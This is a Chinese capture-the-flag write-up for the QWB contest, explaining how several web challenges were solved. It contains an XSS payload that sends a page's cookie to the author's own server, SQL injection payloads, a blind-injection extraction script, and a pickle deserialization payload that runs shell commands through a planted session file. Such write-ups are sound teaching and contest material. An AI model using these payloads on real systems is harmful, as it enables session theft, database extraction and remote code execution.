前言 周末强网杯,做的不太好,心态崩了好几次。。。本来不打算写wp,想想还是整理一下吧,学到的知识点还是不少的。
web签到 需要找两个MD5相同的字符串或者文件,在这里 找到两个文件,将文件内容提交即可三关连过得到flag。
share your mind 这题属实是让我心态崩了。。。
首先利用rpo漏洞加载任意js代码,对于rpo,这里有几篇文章,不过多数是利用css的
深入剖析RPO漏洞
RPO攻击初探
【技术分析】RPO攻击技术浅析
RPO二三事
个人认为比较好理解的说法是这个:
RPO漏洞,就是服务端和客户端对这个URL的解析不一致导致的
回到题目,查看index.php页面发现加载了两个js文件
一个使用了相对路径,一个使用了绝对路径,此时jquery.min.js
的地址为:
1 http://39.107.33.96:20000/static/js/jquery.min.js
然后添加一篇文章,文章地址为http://39.107.33.96:20000/index.php/view/article/723
,此时访问
1 http://39.107.33.96:20000/index.php/view/article/723/..%2f..%2f..%2f..%2findex.php
由于前后端差异,后端会将%2f
urldecode为/
,所以返回了index.php的内容,而前端会将..%2f..%2f..%2f..%2findex.php
当作一个整体,那么此时这个页面加载的js的地址就变成了
1 http://39.107.33.96:20000/index.php/view/article/723/static/js/jquery.min.js
由于后端实现了静态路由,上面的地址可以看作是这种形式:
1 http://39.107.33.96:20000/index.php?controller=view&method=article&articleid=723&p1=static&p2=js&p3=jquery.min.js
p1,p2,p3三个参数后端根本没有接收,发送过去也没有意义,所以返回的仍然是http://39.107.33.96:20000/index.php/view/article/723
的内容。而文章内容是完全可控的,这样就实现了加载任意js代码。
由于文章内容进行了过滤,使用eval(String.fromCharCode())这种方式来绕过。payload如下(别加题目。。。):
1 2 3 4 5 6 7 var a = document .createElement ("iframe" );a.src = "../../../../../QWB_fl4g/QWB/" ; a.id = "frame" ; document .body .appendChild (a);a.onload = function ( ){ window .location .href ="http://seaii-blog.com:8000/index.php?file=" +document .getElementById ("frame" ).contentWindow .document .cookie ; }
先打的index页面的cookie,得到一个hint,需要得到/QWB_fl4g/QWB/
的cookie。将上面的payload转换为eval(String.fromCharCode())的形式,添加到文章内容,然后在report页面发送如下url
1 http://39.107.33.96:20000/index.php/view/article/723/..%2f..%2f..%2f..%2findex.php
查看vps的log,就可以得到flag了。
three hit 注册时age 参数存在二次注入,检测了age是否为数字,推测使用了is_numeric
,这个函数传入hex值将会直接返回true。
找库、找表的过程省略,直接上最后的payload
1 username=seaii2&age=0x3120616e6420313d3220554e494f4e2053454c45435420312c2853454c45435420666c61672066726f6d20666c6167292c332c3423&password=123456
python is the best language 1 and 2 两道题用的一套源码,就合在一起写吧。flask写的,先从route.py看起
注入 留言板处insert注入 1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/' , methods=['GET' , 'POST' ] ) @app.route('/index' , methods=['GET' , 'POST' ] ) @login_required def index (): form = PostForm() if form.validate_on_submit(): res = mysql.Add("post" , ['NULL' , "'%s'" % form.post.data, "'%s'" % current_user.id , "'%s'" % now()]) if res == 1 : flash('Your post is now live!' ) return redirect(url_for('index' ))
这里是主页添加留言的地方,跟一下PostForm
1 2 3 class PostForm (FlaskForm ): post = StringField('Say something' , validators=[DataRequired()]) submit = SubmitField('Submit' )
可以看到未做任何安全检查,继续向下,跟进Add函数
1 2 3 4 5 6 7 8 9 10 11 def Add (self, tablename, values ): sql = "insert into " + tablename + " " sql += "values (" sql += "" .join(i + "," for i in values)[:-1 ] sql += ")" try : self.db_session.execute(sql) self.db_session.commit() return 1 except : return 0
同样未做任何过滤,简单粗暴直接拼接,上下看看,这个操作类封装的方法基本都是拼接直接执行。
提交这样一条留言:
1 9528','1','2018-03-25'),('NULL',(select flllllag from flaaaaag),'1','2018-03-25')#
这样做有两个缺点,一个是flag会直接显示出来,大家都能看到;另一个就是不知道自己的user_id,会将留言添加到其他用户上,不太好找,好在还有一个follow的功能。
注册处邮箱参数盲注 接着是注册
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if current_user.is_authenticated: return redirect(url_for('index' )) form = RegistrationForm() if form.validate_on_submit(): res = mysql.Add("user" , ["NULL" , "'%s'" % form.username.data, "'%s'" % form.email.data, "'%s'" % generate_password_hash(form.password.data), "''" , "'%s'" % now()]) if res == 1 : flash('Congratulations, you are now a registered user!' ) return redirect(url_for('login' )) return render_template('register.html' , title='Register' , form=form)
跟进RegistrationForm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class RegistrationForm (FlaskForm ): username = StringField('Username' , validators=[DataRequired()]) email = StringField('Email' , validators=[DataRequired(), Email()]) password = PasswordField('Password' , validators=[DataRequired()]) password2 = PasswordField( 'Repeat Password' , validators=[DataRequired(), EqualTo('password' )]) submit = SubmitField('Register' ) def validate_username (self, username ): if re.match ("^[a-zA-Z0-9_]+$" , username.data) == None : raise ValidationError('username has invalid charactor!' ) user = mysql.One("user" , {"username" : "'%s'" % username.data}, ["id" ]) if user != 0 : raise ValidationError('Please use a different username.' ) def validate_email (self, email ): user = mysql.One("user" , {"email" : "'%s'" % email.data}, ["id" ]) if user != 0 : raise ValidationError('Please use a different email address.' )
username限制的比较死,email经过一个Email()
的验证,继续跟进,这个需要看wtforms的源码
https://github.com/wtforms/wtforms/blob/master/wtforms/validators.py
篇幅问题就不贴代码了,大体流程就是将email按@
分割,前半部分使用下面的正则匹配。
1 2 3 4 user_regex = re.compile ( r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*\Z" r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-\011\013\014\016-\177])*"\Z)' , re.IGNORECASE)
还是比较宽松的,空格不能用我们可以用/**/
来绕过。上面提到过,One函数同样没有安全过滤。但是此处无法回显数据,我们可个构造布尔条件进行盲注。
代码来自chybeta师傅的wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsfrom bs4 import BeautifulSoupurl = "http://39.107.32.29:20000/register" r = requests.get(url) soup = BeautifulSoup(r.text,"html5lib" ) token = soup.find_all(id ='csrf_token' )[0 ].get("value" ) notice = "Please use a different email address." result = "" database = "(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA)" tables = "(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=DATABASE())" columns = "(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x666c616161616167)" data = "(SELECT/**/GROUP_CONCAT(flllllag/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/flaaaaag)" for i in range (1 ,100 ): for j in range (32 ,127 ): payload = "test'/**/or/**/ascii(substr(" + data +",%d,1))=%d#/**/@chybeta.com" % (i,j) print payload post_data = { 'csrf_token' : token, 'username' : 'a' , 'email' :payload, 'password' :'a' , 'password2' :'a' , 'submit' :'Register' } r = requests.post(url,data=post_data) soup = BeautifulSoup(r.text,"html5lib" ) token = soup.find_all(id ='csrf_token' )[0 ].get("value" ) if notice in r.text: result += chr (j) print result break
沙盒逃逸 第一关算是过了,继续审计
在other.py看到一个黑名单
1 black_type_list = [eval , execfile, compile , system, open , file, popen, popen2, popen3, popen4, fdopen, tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link, lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs, rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv, execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe, spawnv, spawnve, spawnvp, spawnvpe, load, loads]
推测会有命令执行,python可以执行系统命令的库有很多如subprocess.Popen()
、commands.getoutput()
等。
反序列化 首先寻找使用black_type_list的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 def _hook_call (func ): def wrapper (*args, **kwargs ): print args[0 ].stack if args[0 ].stack[-2 ] in black_type_list: raise FilterException(args[0 ].stack[-2 ]) return func(*args, **kwargs) return wrapper def load (file ): unpkler = Unpkler(file) unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE]) return Unpkler(file).load()
然后全局搜索调用load函数的地方,发现Mycache.py的FileSystemCache类中的has(),get(),_prune()
三个方法使用了load函数。
继续搜索,Mysessions.py中的FileSystemSessionInterface
类实例化了FileSystemCache
。在FileSystemSessionInterface的open_session方法中调用了FileSystemCache的get方法。
Mysessions.py是自己实现的一套session接口,在__init.py__
中指定
1 2 3 app.session_interface = FileSystemSessionInterface( app.config['SESSION_FILE_DIR' ], app.config['SESSION_FILE_THRESHOLD' ], app.config['SESSION_FILE_MODE' ])
下面看一下open_session方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def open_session (self, app, request ): sid = request.cookies.get(app.session_cookie_name) if not sid: sid = self._generate_sid() return self.session_class(sid=sid, permanent=self.permanent) if self.use_signer: signer = self._get_signer(app) if signer is None : return None try : sid_as_bytes = signer.unsign(sid) sid = sid_as_bytes.decode() except BadSignature: sid = self._generate_sid() return self.session_class(sid=sid, permanent=self.permanent) data = self.cache.get(self.key_prefix + sid) if data is not None : return self.session_class(data, sid=sid) return self.session_class(sid=sid, permanent=self.permanent)
读取cookie的sessionid,拼接前缀(bdwsessions)传入get方法,跟进get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def get (self, key ): filename = self._get_filename(key) try : with open (filename, 'rb' ) as f: pickle_time = load(f) if pickle_time == 0 or pickle_time >= time(): a = load(f) return a else : os.remove(filename) return None except (IOError, OSError, PickleError): return None def _get_filename (self, key ): if isinstance (key, text_type): key = key.encode('utf-8' ) hash = md5(key).hexdigest() return os.path.join(self._path, hash )
获取文件名的方法也一起贴上了,即md5('bdwsessions'+'xxx-xxx')
,从config.py可知session存储的位置为/tmp/ffff
,到现在思路就很清晰了:
构造序列化payload
1 2 3 4 5 6 7 8 9 10 11 import cPickleimport subprocessclass Exp (object ): def __reduce__ (self ): return (subprocess.Popen, (('sh' ,'your command' ,),)) e = Exp() e = cPickle.dumps(e) with open ('payload' ,'wb' ) as f f.write('0x' + poc.encode('hex' ))
利用之前注册处的注入将payload写入指定文件中
前面知道了session的存储位置,也知道了session文件的命名方式,比如cookie的session=seaii,那么session文件就是/tmp/ffff/65f37ca642b92d6e19190a9960d73023
(md5(‘bdwsessionsseaii’))
接下来利用注入写文件,email填入payload:
1 admin%27/**/union/**/select/**/exp.../**/into/**/dumpfile/**/%27/tmp/ffff/65f37ca642b92d6e19190a9960d73023%27%23%40admin.com
修改cookie中session的值,让程序读取我们构造好的文件并反序列化,造成命令执行
访问index,抓包修改cookie为seaii,如果执行的是反弹shell的命令的话,就可以收到shell为所欲为了。
彩蛋 java这块了解的很少,看来之后要恶补一波了,这里附上orange大佬的wp
Pwn a CTF Platform with Java JRMP Gadget
不过这题有个非预期,就是利用postgre的udf执行系统命令,正好了解一下吧。
最后 在这儿贴上一段百度的时候搜到的大佬说的话吧
我在做这题的时候并不知道RPO是啥(看了别人的wp才知道),然而最终还是能做出来,我想这个过程还是值得新人借鉴的,也就是遇到一道新题应该怎么去入手,打CTF遇到自己没见过的知识点太多了,不能期待着撞知识点。
感觉最近打ctf心态不太端正,可能崩了太多次吧:p,共勉~